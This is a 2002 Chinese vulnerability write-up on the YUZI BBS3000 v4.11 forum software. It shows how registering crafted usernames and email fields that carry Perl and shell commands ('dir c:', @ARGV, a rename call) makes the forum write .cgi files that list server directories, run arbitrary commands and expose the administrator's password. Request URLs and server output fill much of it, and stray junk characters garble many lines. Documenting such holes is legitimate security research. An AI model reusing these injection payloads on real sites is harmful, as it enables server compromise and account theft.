窥探YUZI的BBS3000社区安全性--1

YES东

窥探YUZI的BBS3000社区安全性--1
$ O# u  s% Q7 p2 r文章类型：漏洞分析 文章加入时间：2002年1月24日22:24
: t" r- _8 b9 C  b( p5 Z6 J, Q--------------------------------------------------------------------------------

% G. [% d7 _  {* Q2 A1 R/ [窥探YUZI的BBS3000社区安全性
- q+ a4 P% F2 S$ t6 K* E& a0 J—————————————————————————————————
  i! W( y6 l: Bbadboy-club@21cn.com
部分漏洞提供者：
+ O* N- Y  @: o# X3 c6 ^adver
; I# e/ Z& v4 K& r0 B6 Q$ g- o/ v& `x.z
这并不是什么权威教材，只适合菜鸟了解某些免费提供的论坛程序存在的不
安全面，切莫用此方法在国内做尝试，如果你偏要如此，那么由此引起的一
8 A8 }; A, F  }5 e" y$ F& u切法律后果由你自己负责。
- n% R2 i1 c# k9 p5 @( i* K# ^( j% [本文只允许在网络任意转载，但须保留文章的完整性，如把本文作为经济目
, j! i% Y) ?2 h; ^的使用，或者未经本人许可进行印刷、光盘杂志、等出版性质的行为，本人
- i: H9 O7 w# ]# N* E, X将保留侵权控告的权利。
3 C5 L1 Z, B7 Z- {0 t, H; ]  O—————————————————————————————————
5 e4 p* h3 M4 Q% Q' y3 Z第一篇
! @3 ~: z6 R; n" f# p****基本漏洞测试*****
  |) c& j/ t  d6 K    YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛，
2 l, `6 f- n7 J: s7 Y但不少用户很少去探测这论坛的安全性，使用者很大程度上信任作者，而实际上
# L1 e2 q: y% K7 A# H+ e# O; R3 E这些免费的版本和汉化修改论坛，往往存在一些致命的漏洞，本文的目的在于揭
  s* D5 Y6 e3 S4 o示该论坛不为人知的漏洞，让大家更好的使用这类论坛，并且保证自身资料的隐
蔽和服务器的安全。
测试版本:bbs3000 v4.11
1 O8 ^  L. a" D系统平台：win2k adv server=sp3 + iis 5.0  +ActivePerl 5.6.1.626
7 j& N1 ~. o( Z$ N4 m& I2 F6 Y* Z应用程序映射:perl.exe %s %s 动作：GET,HEAD,POST
        或者:perlIS.dll 动作：GET,HEAD,POST
测试情况：
一、用户名为dir的漏洞
5 B! W  N7 |9 x- c) G- [1、采用应用程序映射:perl.exe %s %s应用程序映射
在站点建立一目录（或者虚拟目录）bbs3000,按论坛作者提供的说明书，默认安
装BBS3000 v4.11版本，我们注册一用户名为dir,密码为system,信箱为
5 _8 B( A) R- ~2 b+ K) o#badboy@badclub.org（#任意信箱都可以），然后我们在IE地址栏处输入：
http://192.168.0.1/bbs3000/yhzl/dir.cgi
& r* ?: w( X- m7 |F:\new\bbs3000\bbs3000 的目录
2002-01-16  19:26       <DIR>          .
2002-01-16  19:26       <DIR>          ..
2002-01-16  22:42               43,247 bbs.cgi
2002-01-16  22:47               50,934 cjyh.cgi
2002-01-16  22:43               38,551 bbs1.cgi
+ n& u) b! P( S, Y# `+ B& B& O! ~2002-01-16  22:48                6,401 cookie.cgi
# g- g+ h0 U. W! l) k* ]% W/ d2002-01-16  22:42                2,138 affiche.cgi
2002-01-16  22:43               22,434 bbs2.cgi
（以下略）
              34 个文件        417,611 字节
              15 个目录  1,830,944,768 可用字节
9 D! d* H* P9 v6 a! D4 z. [
2、采用应用程序映射:perlIS.dll应用程序映射
% L5 b& M* }% ], D2 p. X: m" e得到的显示页面为：
'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output
测试解释：在应用程序映射中，一个扩展名只能由一个程序去映射，在采用
8 ~" h' r% ]4 x1 b9 F( bperl.exe时，BBS3000存在查看网站目录和文件的漏洞，在采用perlIS.dll时，
则有暴露网站在服务器上的绝对地址的漏洞。
& u1 `  m8 S/ G% l, K二、用户名为system的漏洞
1、采用应用程序映射:perl.exe %s %s应用程序映射
注册一用户名为system，密码为空格键（或者密码为system），信箱为
6 Z7 a6 I( w. E) J'dir c:'#@badclub.org，然后我们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi
4 }: k# U% K# d% V返回的页面显示为：
C:\ 的目录
. k# x5 @+ S8 i7 Z! G7 w2001-11-27  20:56                1,002 FRUNLOG.TXT
2001-11-27  20:49       <DIR>          WINNT
（以下略）
8 V; n( k7 e" G; Z: q              10 个文件         29,583 字节
               9 个目录    946,327,552 可用字节
6 S0 ]" _1 g+ [当密码为其他时，则显示：
CGI Error
The specified CGI application misbehaved by not returning a complete
" x- ^; L5 ?( U8 X8 s set of HTTP headers. The headers it did return are:
" R8 Y$ P5 R, ?; Q& ?" H5 @syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
1 y' l: R/ z. i, X5 G( gaborted due to compilation errors.
  `" z& ^" U; y( [5 j8 N+ N9 B我们还可以这样测试用户名为system的情况，密码仍然为空格键
% K; _! o$ [/ h# U% |（或者密码为system）但把信箱修改为＠ARGV##badboy@badclub.org，然后我
- ]. }  K1 J. Q2 }们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
! o  ~  e: m( _; {8 f- YD:\ 的目录
6 A% x1 F# Z# l( ^- F) L5 E2001-01-18  23:23       <DIR>          tools
2001-11-27  21:18       <DIR>          98tools
1 V+ T' F- V) Y9 [2001-04-08  13:08       <DIR>          W2Kreskit
; o, y( j5 B2 P; D2 d2001-11-06  19:52       <DIR>          NOCDKEY-PROT
2001-12-01  21:32       <DIR>          WINNT
2001-12-01  21:39       <DIR>          Documents and Settings
2001-12-01  21:41       <DIR>          Program Files
2001-12-01  21:53       <DIR>          Inetpub
9 \* U+ ^, _- p+ P4 {% Y2002-01-16  19:17       <DIR>          pl
（以下省略部分内容）   
           12 个文件     15,068,818 字节
              15 个目录  2,371,317,760 可用字节
0 i9 O2 ?* |( M'0' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
( v* Q, J; ~7 R2、采用应用程序映射:perlIS.dll应用程序映射
& c, m4 \- d4 M* ~, L用户名为system，密码为空格键（或者密码为system），信箱为'dir c:'#@badclub.org，
然后我们在IE地址栏内输入：
3 `0 ^( B' r) q7 c7 C$ Xhttp://192.168.0.1/bbs3000/yhzl/system.cgi
1 E: d, f0 @% d6 g" s% c% I返回的页面显示为：
5 h7 B! z/ G  M6 x" s/ d'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
把信箱修改为＠ARGV##badboy@badclub.org，然后我们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
5 G) l* F' ?0 {7 \: Y9 X返回的页面显示
) |' k) V$ V8 R" P'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output
% Q! H& A9 Z. @5 N2 G% V三、用户名为;字符的情况
1、采用应用程序映射:perlIS.dll应用程序映射
& K+ Q! o. V! j" d, {" l8 `注册一用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ，
: u# `& M+ e/ r8 j( [2 m（这里假设badboy为该论坛的社区区长，也就是该论坛最大权限的用户），然后我们
8 ?7 ^" O7 l6 p9 ?9 q在IE地址栏内输入：
" z- F0 g. V4 P6 A  y7 p# U. xhttp://192.168.0.1/bbs3000/yhzl/;.cgi
9 u- P) `7 ^5 W& E返回的页面显示
5 t6 U- e- C' Z: s* v( o'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
嗯，怎么还是和上面的perl.dll例子一样啊？？后面的就是关键了，你再输入这样
" ]3 m, _- x5 A5 `- _" Z' r的看看
http://192.168.0.1/bbs3000/yhzl/badboy.txt
/ J2 B) p; K* L  ?7 ~- q" Z6 o7 S; m返回的页面显示为
8 j, C! o/ X" X- w7 F  ~$ v. f8 @- e$ Ibadpass badboy http://192.168.0.1 2002-01-16
7 j( P8 W6 D) A显示的内容前面就是密码、用户
  |8 m  e$ z1 X6 [( {天啊，事情怎么那么容易呀！！~_*
  N: j# v6 @* r& T; K8 ]& _经测试，用户名为system密码为一个空格键（或者为system)，信箱为
rename "badboy.cgi","badboy.txt";#@badclub.org 的时候，步骤和上面一样，同样
4 V' Z, h( w0 |; G$ l5 y/ u可以获得相同的结果。
- p8 _: `$ J' e8 {2、采用应用程序映射:perl.exe %s %s应用程序映射
# W0 p' q# W) u% L1 ]; Z; u用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
2 r) y" Y1 U# ?在IE地址栏内输入：
/ A. `* w! h5 Whttp://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP
headers. The headers it did return are: